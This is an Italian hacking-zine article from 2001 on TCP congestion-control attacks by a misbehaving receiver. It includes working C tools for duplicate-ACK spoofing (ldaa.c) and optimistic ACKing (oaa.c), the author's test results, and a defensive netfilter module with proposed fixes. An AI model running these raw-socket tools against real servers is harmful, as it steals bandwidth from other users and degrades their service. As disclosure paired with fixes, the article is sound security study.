TCP C0NGESTi0N C0NTR0L E DiNT0RNi
============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 8 di 18 ]-------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ TCP C0NGESTi0N C0NTR0L E DiNT0RNi -----[ vecnakeyword: tcp congestion, netfilter module, congestion attack, congestione tcp -- P R E F A Z I O N E -- nel 2000 dei tizi descrissero un attacco un po' particolare: questo attacco era finalizzato ad incrementare la velocita` di download di un host che invia i dati. e` spiegato dettagliatamente nel documento intitolato: "TCP Congestion Control with a Misbehaving Receiver" di Stefan Savage, Neal Cardwell, David Wetherall e Tom Anderson reperibile a http://www.cs.washington.edu/homes/savage/papers/CCR99.pdf il doc xo` si conclude con un paio di preoccupanti paragrafi che dicono: 1) i sistemi operativi vulnerabili ai 3 attacchi sono praticamente TUTTI tranne per il primo attacco che puo` essere evitato (e linux 2.2 gia` e` fixato come molti altri SO ormai...); 2) non e` possibile scrivere patch xke` non e` un bug di implementazione, ma e` intrinseco del protocollo TCP e del suo controllo della congestione, per controllarlo bisognerebbe aggiungere un campo nell'header tcp (e suggeriscono come utilizzarlo) dopo questo periodo cmq nessuno ne parla e non appare niente, ne` nei ChangeLogs ne` nei commenti dei sorgenti dei kernel ne` da altre parti: si tratta di vulnerabilita` ancora presenti nei nostri kernel :) -- I N T R O D U Z I O N E -- supponiamo che client.foo.com si colleghi a www.mp3.gov e inizi il download di un file: [un po` dopo il 3 way handshake...] 05:03:19.365419 www.mp3.gov.www > client.foo.com.2761: P 21721:23169(1448) ack 333 win 32120 (DF) 05:03:19.365998 client.foo.com.2761 > www.mp3.gov.www: . ack 23169 win 30408 (DF) 05:03:19.655411 www.mp3.gov.www > client.foo.com.2761: P 23169:24617(1448) ack 333 win 32120 (DF) 05:03:19.655996 client.foo.com.2761 > www.mp3.com.www: . ack 24617 win 30408 (DF) [...] cosa succede? il server invia un pacchetto con dei dati di una certa grandezza (la size del pacchetto la vediamo tra parentesi, in questo caso sono entrambi 1448), prima della size vediamo l'ack_seq, ovvero l'acknowledge sequence number, un campo di 32 bit che sta nell'header tcp contenente un numero, questo numero e` la base in modo che l'altro host, per notificare la ricezione del pacchetto, risponda con un ack con un ack_seq pari a quello contenuto nel pacchetto con i dati piu` il numero di dati; li` vedete xo`: 21721:23169 che e` una convezione di tcpdump(8) per indicare che questo pacchetto ha ack_seq di 21721, ma visto che e` grosso 1448 byte ci si aspetta una ack di risposta con ack_seq settato a 21721+1448=23169. (attenzione se fate parser di rete per test, bisogna convertire questi valori con htonl(3) e ntosl(3)) mi pare scontato che i dati viaggino in pacchetti con flag PUSH settato (come fa capire la lettera 'P' nella riga di tcpdump) e che i pacchetti che chiamo ack abbiano il flag ACK settato. -- E L A C O N G E S T I O N E ? -- (rapido, ci sono le rfc) ci sono alcune variabili locali di vario genere che interagiscono con gli algortimi di congestione, sono: SMSS: Sender Maximum Segment Size, quantita` massima di dati inviabile (escluso dagli header ip/ip options/tcp, solo i dati), dipendente dall'MTU (Maximal Tranfer Unit) che a sua volta dipende dal tipo di interfaccia. RMSS: Recevider Maximum Segment Size, vedi sopra. RWND: Receiver Window, valore del campo window dell'header tcp ricevuto per ultimo. CWND: Congestion Window, valore che limita la grandezza di dati inviabili in un solo pacchetto. durante una connessione iniziata ogni volta che un pacchetto viene notificato con un ACK la grandezza del pacchetto successivo puo` aumentare in relazione alla RWND e alla CWND, e puo` diminuire ogni qualvolta venga notificata una perdita (con un icmp di errore o perche` l'attesa dell'ACK raggiunge un timeout che causa il riinvio del pacchetto). a questo punto sembrerebbe che la velocita` del download dipenda esclusivamente dalla grandezza della window, ma non e` *solo* questo, all'inizio di un trasferimento si segue un algoritmo chiamato di "partenza lenta" ovvero, prima di raggiungere la stabilita` della connessione, non solo la window size viene aumentata, ma il numero di pacchetti inviati raddoppia ogni volta finche` non si stabilizza ai livelli ottimali. gli attacchi spiegati vengono portati durante la partenza lenta per aver risultati migliori, ma anche durante la connessione stabilizzata si notano migliorie; i test che ho fatto sono stati effettuati durante la connessione gia` iniziata. come toccare con mano? /usr/src/linux/include/net/sock.h: line 243 of 1310 [18%] trovate la struct tcp_opt che contiene TUTTO, tutte le variabili indicate, stati, timeout, puntatori a vita morte e miracoli della connessione... in /usr/src/linux/include/net/tcp_ecn.h e tcp.h ci sono tutte le macro alle funzioni del kernel che lavorano sulla tcp_opt, quindi anche parecchie inerenti alla congestione. -- F U N Z I O N A M E N T O D E G L I A T T A C C H I -- (nelle descrizioni saro` abbastanza superficiale visto che c'e` sia quel doc, sia la traduzione in italiano fatta da antirez su un numero di Linux&c.) come detto, l'rfc2581 indica tra le altre cose: "durante la partenza lenta, si incrementa la congestion window size in relazione al numero di ack ricevuti", quindi gli attacchi mireranno a far ricevere un numero di ack superiore a quelli classici in modo da incrementare il download. la parte di codice vulnerabile non e` altro che nelle routine a basso livello di connect() send*() write() read() applicate a socket TCP, il kernel gestisce la velocita` di spedizione e la grandezza dei pacchetti, essa aumenta in relazione agli algo di congestione, direttamente dipendente dal numero di ACKs ricevuti e diminuisce nel caso qualche pacchetto vada perso ( = l'ack atteso vada in timeout) o venga notificata la congestione in uno dei 3 sistemi che dopo vedremo. a) ack division semplicemente anziche` notificare il ricevimento di tutti i 1448 byte con un ack solo uso + di un ack per notificarlo, ovvero...: se ho ricevuto i dati con ack_seq a 21721, potro` notificarlo prima con 21722 poi con 21723 poi con 21823 e poi con 23169, ovvero, prima ho notificato la ricezione di 1 byte, poi di un altro, poi di 100, e poi di quelli che rimanevano... questa pratica non e` prevista nell'rfc, ma non e` sbagliata, il numero di ACKs ricevuto sara` superiore e l'incremento della CWND sara` notevole. per scrivere un sw che svolga quest'attacco sono possibili 2 metodi: 1) pacciare il kernel nelle routine di basso livello per un notifica divisa e stop, la + pulita che si puo` fare, solo che bisogna lavorare con funzioni che non hanno simboli esportati e puo` non essere semplicissimo; le parti di codice relative per linux 2.4 sono in net/ipv4/tcp_output.c tra i src del kernel; 2) lavorare a datalink layer come visto e strarivisto su phrack e su BFi, o manipolando uno dei layer di netfilter (linux 2.4) o per BSD come spiegato dal buon pIG creando una chain di mbuf contenenti gli ACKs intermenti e attaccandole nella queue prima della notifica completa. X) purtroppo non si puo` lavorare in userspace come invece si puo` fare nel caso degli altri 2 attacchi perche` bisogna necessariamente inserirsi prima dell'ack che notifica tutto il pacchetto, e si puo` fare solo in kernelspace. b) dup ack spoofing come gia` detto quando numerose volte (spesso quando si parlava di shell e canali di comunicazione occulti che con grande stupore anche SANS riporta: http://www.s0ftpj.org/docs/covert_shells.htm :) il protocollo layer 3 alla base di tutto e` l'IP, connectionless, con problemi ad esso legati... la possibilita` di essere perso, di essere duplicato, di essere veloce, di non essere legato a una sequenza ecc... toh, c'e` scritto "duplicato" :) questo significa che e` possibile e non difficilmente verificabile che uno degli ACK che invio come riscontro venga duplicato da un router intermedio, ma come detto da rfc2581 "in relazione al numero di ack ricevuti aumenta la velocita` in fase di partenza lenta" quindi se noi piazziamo un programmino che gira in userspace e quando vede un ack passare lo riinvia un certo numero di volte... non c'e` nessun male... e il download aumenta :) <-| congestion/ldaa.c |-> #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern int errno; static struct sockaddr_in sin; static int ss; void send_dupack(void *, unsigned char); #define MAS 128 /* Max Ack Size */ int main(int argc, char **argv) { struct ifreq ifr; /* interface query struct */ int sfd, nt, nd, off, hdr =1; /* socket, number time to apply dup, * number of dup, datalink offset */ unsigned int daddr; /* dest addr to check */ unsigned short port; /* dest port to check */ printf( " ldaa - lamer dup ack attacker - by vecna@s0ftpj.org\n"); if(argc != 6) { fprintf(stderr, " usage: %s host port iface n.dup n.times\n" \ " %s:\tis ldaa this program ...\n" \ " host:\t\thost to attack, only IP " \ "addess accepted, not implemented resolv\n" \ " port:\t\tdestination port to attack\n" \ " iface:\t\tinterface used for reach host\n" \ " n.dup:\t\tnumber of ack duplication\n" \ " times:\t\tnumber of time to apply duplication\n", argv[0], argv[0] ); err(EINVAL, "no such argument"); } memset(&ifr, 0, sizeof(struct ifreq)); nt =atoi(argv[5]); nd =atoi(argv[4]); daddr =inet_addr(argv[1]); port =htons(atoi(argv[2])); sin.sin_port =port; sin.sin_addr.s_addr =daddr; sin.sin_family =AF_INET; if((sfd =socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) ==-1) err(errno, "socket on datalink layer"); if((ss =socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) ==-1) err(errno, "socket on raw sock layer"); if(setsockopt(ss, IPPROTO_IP, IP_HDRINCL, &hdr, sizeof(hdr)) ==-1) err(errno, "setsockopt IP_HDRINCL"); strncpy(ifr.ifr_name, argv[3], sizeof(ifr.ifr_name)); if(ioctl(sfd, SIOCGIFHWADDR, &ifr) == -1) err(errno, "ioctl SIOCGIFHWADDR of %s", argv[3]); switch(ifr.ifr_hwaddr.sa_family) { case ARPHRD_ETHER: case ARPHRD_METRICOM: case ARPHRD_EETHER: off =14; break; case ARPHRD_PPP: off =0; break; case ARPHRD_LOOPBACK: off =4; break; default: err(ENODEV, "unknow linktype for device %s", argv[3]); } while(nt) { char packet[MAS]; static unsigned int ack_seq; struct iphdr *ip; struct tcphdr *tcp; int nbyte; if((nbyte =read(sfd, &packet, MAS)) ==-1) err(errno, "read on datalink layer"); (char *)ip =(char *)&packet +off; if(ip->protocol != IPPROTO_TCP || ip->daddr !=daddr) continue; (char *)tcp =(char *)ip +sizeof(struct iphdr); if(tcp->dest !=port) continue; if(tcp->ack && !tcp->syn && !tcp->rst && tcp->ack_seq !=ack_seq) { int cnt; printf(" dup seq %u ack %u\n", tcp->seq, tcp->ack_seq); for(cnt =0; cnt !=nd; cnt++) { printf(" cnt %d nd %d nt %d\n", cnt, nd, nt); send_dupack((void *)ip, ntohs(ip->tot_len)); } nt--; ack_seq =tcp->ack_seq; } } exit(EXIT_SUCCESS); } void send_dupack(void *pkt, unsigned char len) { if(sendto(ss, pkt, len, 0x0000, &sin, sizeof(sin)) ==-1) err(errno, "error on sending ack packet"); } <-X-> scenario del funzionamento: apro una dcc con una adsl e mi stabilizzo sui 4.7k di upload, dalla adsl il numero di notifiche aumenta e cosi` pure i k di upload andando fin oltre i 6.2k (poi ho interrotto la dcc). l'aumento della velocita` e` abbastanza poporzionale al numero di ACKs duplicati, qui sotto vedete ldaa all'opera. P.S.: se pubblico i codici di attacco e` anche xke` ho studiato come fixarli. ri-P.S.: ringrazio yawn x tutti i test di congestione che le ho fatto fare :P arkmp:/home/vecna/wrk/my/tcc# ./ldaa ldaa - lamer dup ack attacker - by vecna@s0ftpj.org usage: ./ldaa host port iface n.dup n.times ./ldaa: is ldaa this program ... host: host to attack, only IP addess accepted, not implemented resolv port: destination port to attack iface: interface used to reach host n.dup: number of ack duplication times: number of time to apply duplication ldaa: no such argument: Successo e` un programma che gira in userspace come detto prima, basta avviarlo e poi ci pensera` lui a mettersi a datalink layer, selezionare tutti i pacchetti che sono spediti verso l'host che vogliamo congestionare (il primo argomento) verso il servizio da cui scarichiamo (secondo) che passano attraverso l'interfaccia su cui ascoltiamo (come terzo argomento) che abbiano SOLO il flag ACK settato, in questo caso per un numero di volte pari all'ultimo argomento rispedira` l'ack di turno per un numero di volte pari al penultimo argomento. nei test fatti avevo come parametri finali 2 e 10 e + tardi, visto che aumentava di poco ne e` stato avviato un secondo con 2 20. c) optimistic acking un attacco mui interessante. il receiver deve predirre la grandezza del prossimo pacchetto inviato (relativamente facile) e inviare l'ack di risposta PRIMA che sia stato ricevuto, ma attenzione, deve essere l'ack di un pacchetto gia` inviato (altrimenti un qualunque kernel se riceve una notifica quando un pacchetto non e` ancora stato inviato potrebbe offendersi -> scartare il vostro ack :) gia` inviato, ma non ancora ricevuto: in questo modo noi sembreremo solo un server rapidissimo che risponde in modo quasi immediato. (nota sull'implementazione) anche questo codice (oaa) gira in userspace, anzi, e` ottenuto modificando ldaa, e puo` mandare un numero di ACKs predetti dopo aver "guessato" la grandezza del pacchetto sperando sia di azzeccare la size, sia che il pacchetto sia gia` stato inviato, sia che il pacchetto arrivi xke` se arriva una notifica esatta il pacchetto non puo` + essere ritrasmesso, e se arriva rovinato o se non arriva e` perso salvo casi in cui il protocollo a layer 5 non consenta ritrasmissioni e resume di sorta. l'oaa (optimistic acking attacker) predice gli ACKs, ma non blocca l'invio degli ACKs normali del kernel, quindi oltre che a rispondere decisamente prima (e questo secondo test ha dato performance nettamente + potenti di ldaa!) avremo anche un duplicazione per ogni ack da noi mandato relativo a un pacchetto gia` inviato. c'e` da dire che se si invia l'ack di un pacchetto e a voi non arriva o arriva rovinato ecc... l'avete perso x sempre, anche se nel doc indica come in alcuni casi, alcuni protocolli di layer 5 consentano di resumare una trasmissione o di farsi riinviare solo alcune parti di dato. <-| congestion/oaa.c |-> #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern int errno; static struct sockaddr_in sin; static unsigned int l_ack; static int ss, ns; unsigned short sum(unsigned short *, int); void ssoa(void *, struct tcphdr *, size_t, int); #define MAS 128 /* Max Ack Size */ int main(int argc, char **argv) { struct ifreq ifr; /* interface query struct */ int sfd, off, wa, hdr =1; /* socket, number time to apply dup, * number of dup, datalink offset */ unsigned int daddr; /* dest addr to check */ unsigned short port; /* dest port to check */ printf(" optimistic acking attacker - by vecna@s0ftpj.org\n\n"); if(argc != 6) { fprintf(stderr, " usage: %s host port iface n.spoof n.wait\n" \ " host:\thost to attack, only IP" \ " address accepted, not implemented resolv\n" \ " port:\tdestination port to attack\n" \ " iface:\tinterface used for reach host\n" \ " n.add:\tnumber of ack to spoof\n" \ " w.ack:\tnumber of ack to ignore before" \ " guess size\n", argv[0]); err(EINVAL, "no such argument"); } memset(&ifr, 0, sizeof(struct ifreq)); daddr =inet_addr(argv[1]); port =htons(atoi(argv[2])); ns =atoi(argv[4]); wa =atoi(argv[5]); sin.sin_port =port; sin.sin_addr.s_addr =daddr; sin.sin_family =AF_INET; if((sfd =socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) ==-1) err(errno, "socket on datalink layer"); if((ss =socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) ==-1) err(errno, "socket on raw sock layer"); if(setsockopt(ss, IPPROTO_IP, IP_HDRINCL, &hdr, sizeof(hdr)) ==-1) err(errno, "setsockopt IP_HDRINCL"); strncpy(ifr.ifr_name, argv[3], sizeof(ifr.ifr_name)); if(ioctl(sfd, SIOCGIFHWADDR, &ifr) == -1) err(errno, "ioctl SIOCGIFHWADDR of %s", argv[3]); switch(ifr.ifr_hwaddr.sa_family) { case ARPHRD_ETHER: case ARPHRD_METRICOM: case ARPHRD_EETHER: off =14; break; case ARPHRD_PPP: off =0; break; case ARPHRD_LOOPBACK: off =4; break; default: err(ENODEV, "unknow linktype for device %s", argv[3]); } printf(" reading packet len...\n"); while(1) { char packet[MAS]; struct iphdr *ip; struct tcphdr *tcp; static int inc, i; int nbyte; if((nbyte =read(sfd, &packet, MAS)) ==-1) err(errno, "read on datalink layer"); (char *)ip =(char *)&packet +off; if(ip->protocol !=IPPROTO_TCP || ip->daddr !=daddr) continue; (char *)tcp =(char *)ip +sizeof(struct iphdr); if(tcp->dest !=port) continue; if(tcp->ack && !tcp->syn && !tcp->rst) { int chk =ntohl(tcp->ack_seq) -ntohl(l_ack); if(!l_ack) { l_ack =tcp->ack_seq; continue; } if(!chk) continue; printf(" %u", chk); if(chk ==inc) { if(++i ==wa) ssoa(ip, tcp, ntohs(ip->tot_len), inc); } else { printf("\n %d packet's size check after %d " "reset for %d byte\n" ,inc, i +1, chk); inc =chk; i =0x0000; } l_ack =tcp->ack_seq; } } } void ssoa(void *pkt, struct tcphdr *x, size_t len, int size) { int k =0x0000; printf("\n guessed packets len [%d]\n sending ACKs: ", size); while(k != ns) { x->ack_seq +=htonl(size* ++k); /* rotfl, kernel fix my tcp checksum because here is bad */ x->check =sum((unsigned short *)x, sizeof(struct tcphdr)); /* pseudo header s000ka */ printf("."); if(sendto(ss, pkt, len, 0x0000, &sin, sizeof(sin)) ==-1) err(errno, "error on sending ack packet"); } printf(" done.\n"); exit(EXIT_SUCCESS); } unsigned short sum(unsigned short *hdr, int nw) { unsigned long ret =0x0000; while(nw > 0) { ret += *hdr++; nw -= 2; } ret = (ret >> 16) + (ret & 0xffff); ret += (ret >> 16); return ~(ret); } <-X-> sebbene gli ACKs relativi a pacchetti non ancora inviati vengano scartati al volo dal kernel, quando abbiamo fatto i test abbiamo usato 4 e 6 e poi 3 e 6 come ultimi 2 valori, ovvero... la grandezza del pacchetto veniva guessata con 6 check (quindi 6 pacchetti di fila dovevano aver la stessa grandezza) e una volta decisa si sarebbero inviati prima 4 e poi 3 ACKs di notifica anticipata (pur sapendo che non tutti sarebbero serviti, ma abbondare e` meglio che deficere...) nei test fatti con aoo la velocita` della connessione da 4.5k era passata a 7.5k :) -- S I T U A Z I O N I V U L N E R A B I L I -- con oaa e ldaa non avete in mano del codice magico che portera` i vostri download a 15k al secondo su un modem 14.4 :) questi attacchi funzionano in quelle situazioni in cui NON tutta la banda su tutto il tracciato del trasferimento viene utilizzato e la velocita` e` regolata dall'host sender, ovvero... se stiamo scaricando a 3k al secondo e siamo collegati con aruba, la stessa aruba che ha un lag a "onde" per ovvi problemi al router, la velocita` di quel download non potra` mai aumentare xke` non dipende tanto dall'host che invia, quanto dall'host che riceve, se noi mandiamo + ack in risposta facendo aumentare... i pacchetti inviati si fermeranno al router in attesa insieme a tutti gli altri, il nostro download non sara` velocizzato (il ritardo e` nello smistamento nell'ultimo o nel penultimo hop in questo caso) e anzi, se insisteremo con il forzare il server a mandarci pacchetti + in fretta e` facile che il router nostro se ne accorga e gli notifichi la congestione con uno dei 3 metodi possibili: in questo caso un icmp di source quench in net/ipv4/tcp_input.c tra i commenti di una funzione... * "CWR" CWND was reduced due to some Congestion Notification event. * It can be ECN, ICMP source quench, local device congestion. ovvero: 1) ECN = Explicit Congestion Notification, settato con uno dei flag inutilizzati dal TCP; 2) ICMP source quench = icmp di errore specificatamente creato per notificare un'eccessiva velocita` di ricezione; 3) local device congestion = la scheda di rete o il modem che non ci sta` + dietro :) questo attacco puo` andare in situazioni in cui la banda non e` utilizzata del tutto, O e` utilizzata quasi al limite del server attaccato facendogli rallentare le altre connessioni e favorendo la nostra. i test che ho fatto erano nelle seguenti condizioni: - 5 di mattina, quindi un traffico irrisorio sui router - io da un modem 56k inviavo - l'attacco veniva portato da una adsl che scaricava ed e` funzionato sia xke` non viene utilzzata tutta la banda in upload, sia xke` una adsl ha molta + banda di me e quindi poteva reggere un trasferimento accellerato. nel caso ci fosse in mezzo qualche traffic shaper il sw non funzionerebbe (xke` il tc farebbe il suo lavoro) e nel caso il tc fosse sulla macchina attaccata non andrebbe ugualmente xke` il tc lavora a un altro livello e in modo indipendente. probabilmente anche nel caso di firewall statefull entrambi gli attacchi potrebbero essere limitati, nel caso di oaa solo che il fw l'abbiamo noi davanti, se l'host remoto riceve i pkt anticipati li accetta cmq (anche se le varie opzioni di debug possono far notare ACKs anticipati o troppi duplicati). -- F I X -- come dicevo, dal documento originale si legge: "questo problema non puo` essere patchato xke` intrinseco nel protocollo TCP stesso, andrebbe aggiungo un campo TCP addizionale che utilizzi dei numeri di sequenza univoci e random, chiamato "nonce": questo campo nonce sarebbe creato in modo univoco e random dal sender (quando invia il PUSH) e sarebbe riportato poi nell'ACK di risposta". questo campo "nonce" vedrebbe il suo funzionamento sia per fixare il dup ack spoofing (xke` una volta ricevuto un pkt con nonce tutti gli altri uguali verrebbero scartati) e l'optimistic acking attack, xke` non potrebbe essere predetto. io onestamente non capisco come mai si debba complicarsi cosi` la vita, forse xke` prima ancora di arrivare alle soluzioni proposte avevo gia` "visto" come poter fixare questi attacchi... [ anti dup ack attack ] tenedo conto dei campi tcp 'window' 'ack_seq' e 'seq' e di ip 'id' creare un piccolo array in cui mettere gli ultimi N ack ricevuti in modo da poter verificare l'arrivo di un duplicato. i duplicati vengono accettati xke` causati da errori di rete, quindi niente di male, ma essendo figli di errori, perche` non scartarli? anziche` memorizzare quei 4 campi per un totale di 96byte, basta fare un hash di seq + ack_seq + una variabile a 32 bit i cui primi 16 sono l'id, i secondi sono la window size. l'hash e` fatto semplicemente con un XOR dei 3 valori, in questo modo si avra` un'allocazione perenne di kernel memory di 4 byte per il numero di ack di cui viene tenuta traccia. l'ho sviluppato con un modulo x netfilter che aggiunge un hook che checka gli ack in arrivo alla macchina locale. <-| congestion/adaa.c |-> #define __KERNEL__ #define MODULE #include #include #include #include #include #include #include #include #include #include #include #include #include #define ACK_QUEUE_LEN 8 #define tcpseq h.th->seq #define tcpackseq h.th->ack_seq #define tcpwin h.th->window #define ipid nh.iph->id static struct nf_hook_ops ack_hook; static unsigned int ack_seq_ack[ACK_QUEUE_LEN]; static unsigned int make_unique_unsigned(struct sk_buff *); static unsigned int ack_adaa( unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { static unsigned int target; register unsigned int i, check; if((*skb)->nh.iph->protocol !=IPPROTO_TCP) return NF_ACCEPT; if((*skb)->h.th->ack && !(*skb)->h.th->syn && !(*skb)->h.th->rst) return NF_ACCEPT; check =make_unique_unsigned(*skb); for(i =0x0000; i !=ACK_QUEUE_LEN; i++) if(ack_seq_ack[i] ==check) return NF_DROP; ack_seq_ack[target] =check; if(target ==ACK_QUEUE_LEN -1) target =0x0000; else target++; return NF_ACCEPT; } int init_module(void) { int ret; ack_hook.list.next =NULL; ack_hook.list.prev =NULL; ack_hook.pf =PF_INET; ack_hook.hook =ack_adaa; ack_hook.hooknum =NF_IP_LOCAL_IN; printk(KERN_INFO "mod for fix dup ack attack - by vecna@s0ftpj.org\n"); if(ret =nf_register_hook(&ack_hook)) printk(KERN_INFO "unable to add ack_hook on input flow\n"); return ret; } void cleanup_module(void) { nf_unregister_hook(&ack_hook); printk(KERN_INFO "unloading anti dup ack attack module\n"); } static unsigned int make_unique_unsigned(struct sk_buff *skb) { unsigned int intermediate; memcpy(&intermediate, &skb->ipid, 2); memcpy(((char *)&intermediate +2), &skb->tcpwin, 2); return (skb->tcpseq ^ skb->tcpackseq ^ intermediate); } <-X-> [ optimistic acking attack patch ] il problema e` che l'attacco non e` fatto da ACK di pacchetti NON ancora inviati, ma solo di pacchetti non ancora ricevuti, il grafichetto nel documento originale fa` tristemente capire meglio, c'e` un motivo se quello e` .pdf o .ps, BFi e` un file di testo quindi niente immagine :). il punto saliente e` che azzeccare un ack durante la slow start significa far aumentare il numero di pacchetti e la congestion window di una velocita` impressionante se si considera che l'ack arriva appena dopo l'invio del dato, lo stack remoto notera` immeditamente che la risposta e` arrivata con un RTT decisamente + basso e questo influenzera` la nostra connessione in modo eccezionale :) tutto questo non e` molto chiaro, ma mette in luce che nulla si puo` fare se non fare un fix simile a quello usato tempo fa` per l'ip spoofing, noi anziche` mettere un campo random come proposto (il "nonce") faremo variare di poco e in modo random la window size, in modo che non sara` possibile predirre la grandezza del dato trasmesso, e notifiche inferiori a quella esatta non verranno accettate xke` come fix dell'ack division non si accettano notifiche divise, e ack di un numero di dati superiore non puo` essere accettato xke` si parla di notifica di dati non ancora inviati. problemi e possibili attacchi? la perdita di performance e` assente, ma, se come delta di variamento teniamo 8 byte in + o in -, il receiver per predirlo dovra` inviare 16 ACKs di cui 15 errati e uno giusto: questo non e` bello xke` cmq un attacker con una banda in upload garantita e separata da quella in download (tipo adsl) potrebbe inviare i 16 ack possibili, per ovviare a questo basterebbe far rallentare il download nel caso vengano ricevuti ACKs errati, come una sorta di "punizione" :), ma penso sia inutile, si potrebbe aumentare la variazione possibile della window di 10 byte in + o in - (la window non e` mica detto che debba essere fissa, e` a discrezione del sender ed essa cambia in relazione agli algoritmi di congestione ... basta che noi cosi` facendo inseriamo un poco di entropia dentro quei calcoli in modo da tener il risultato pressoche` simile, ma difficilmente predicibile) il codice? purtroppo l'interesse per altre cose ha preso il sopravvento e soprattuto la settimana di esami prima dell'hackit, quindi non posso fornire alcun codice dimostrativo della patch. probabilmente si puo` dirottare una delle funzioni (senza simbolo esportato, quindi riferendosi al paper di Silvio Cesare "internal function kernel hijacking" o un nome simile reperibile a http://www.big.net.au/~silvio ) dove si calcola l'Effective Window da utilizzare e variare il suo valore con un delta di ~ 20 byte verificando che non superi l'SMSS; per il valore random basta riferirsi alle kernel API implementate in ~linux/drivers/char/random.c -- T E S T I E D O C U M E N T I U T I L I -- TCP Congestion Control with a Misbehaving Receiver Stefan Savage, Neal Cardwell, David Wetherall, Tom Anderson rfc2581 M. Allman, NASA Glenn/Sterling Software, ACIRI/ICSI, W. Stevens (si`, Lui :) /usr/src/linux/include/linux/netfilter* EXCEL SAGA - martedi` sera Mtv ore 22:00 rfc793 - Comer, non ricordo dettagli, ma lei e la 791 sono utili da conoscere se vi interessate di queste cose. -- S A L U T I T N X N O T E C A S U A L I E B O H -- per fornire distrazioni sempre nuove :) e per molte altre cose... hotuna n0l1fe smaster naif vodka l0rdo smav [-_-] naylon raptor awgn fusys noteof cavallo raist_xol del0 brigante per il supporto tecnico: gcc, vi, tcpdump, man, links, acrobat reader, grep per essere tale: picula QUESTO ARTICOLO non e` particolarmente tecnico xke` speravo di renderlo comprensibile a + o - tutti, per chi fosse interessato ad approfondire gli studi sugli algortitmi che controllano la congesione oltre all'RFC potrebbe guardare su http://www.mkp.com/index.html dove si trova un guida sul networking e alcune pagine che spiegano il funzionamento degli algortimi della congestione, questo e` sicuramente meno dettagliato dell'rfc, ma tra questo articolo e quell'introduzione la lettura dell' rfc sara` + digeribile. saluto i tutor dell'aula 101 dell'unimi.it che un giorno sentendomi parlare con un altro mi dissero: "ma che dici va`?? non puoi aumentare la velocita` di un download hahahaha!" eeeeeehhhhh..... sia lodato il TCP :) e` tutto fuorche` tutto, xke` spulciando bene l'rfc si puo` trovare altro. [cip] vecna - vecna@s0ftpj.org - 14/05/2001, ma qualcuno ha detto md5 ? [$id] vecna - vecna@s0ftpj.org - 21/05/2001, il naviglio verso la cina. ============================================================================== --------------------------------[ EOF 8/18 ]--------------------------------- ==============================================================================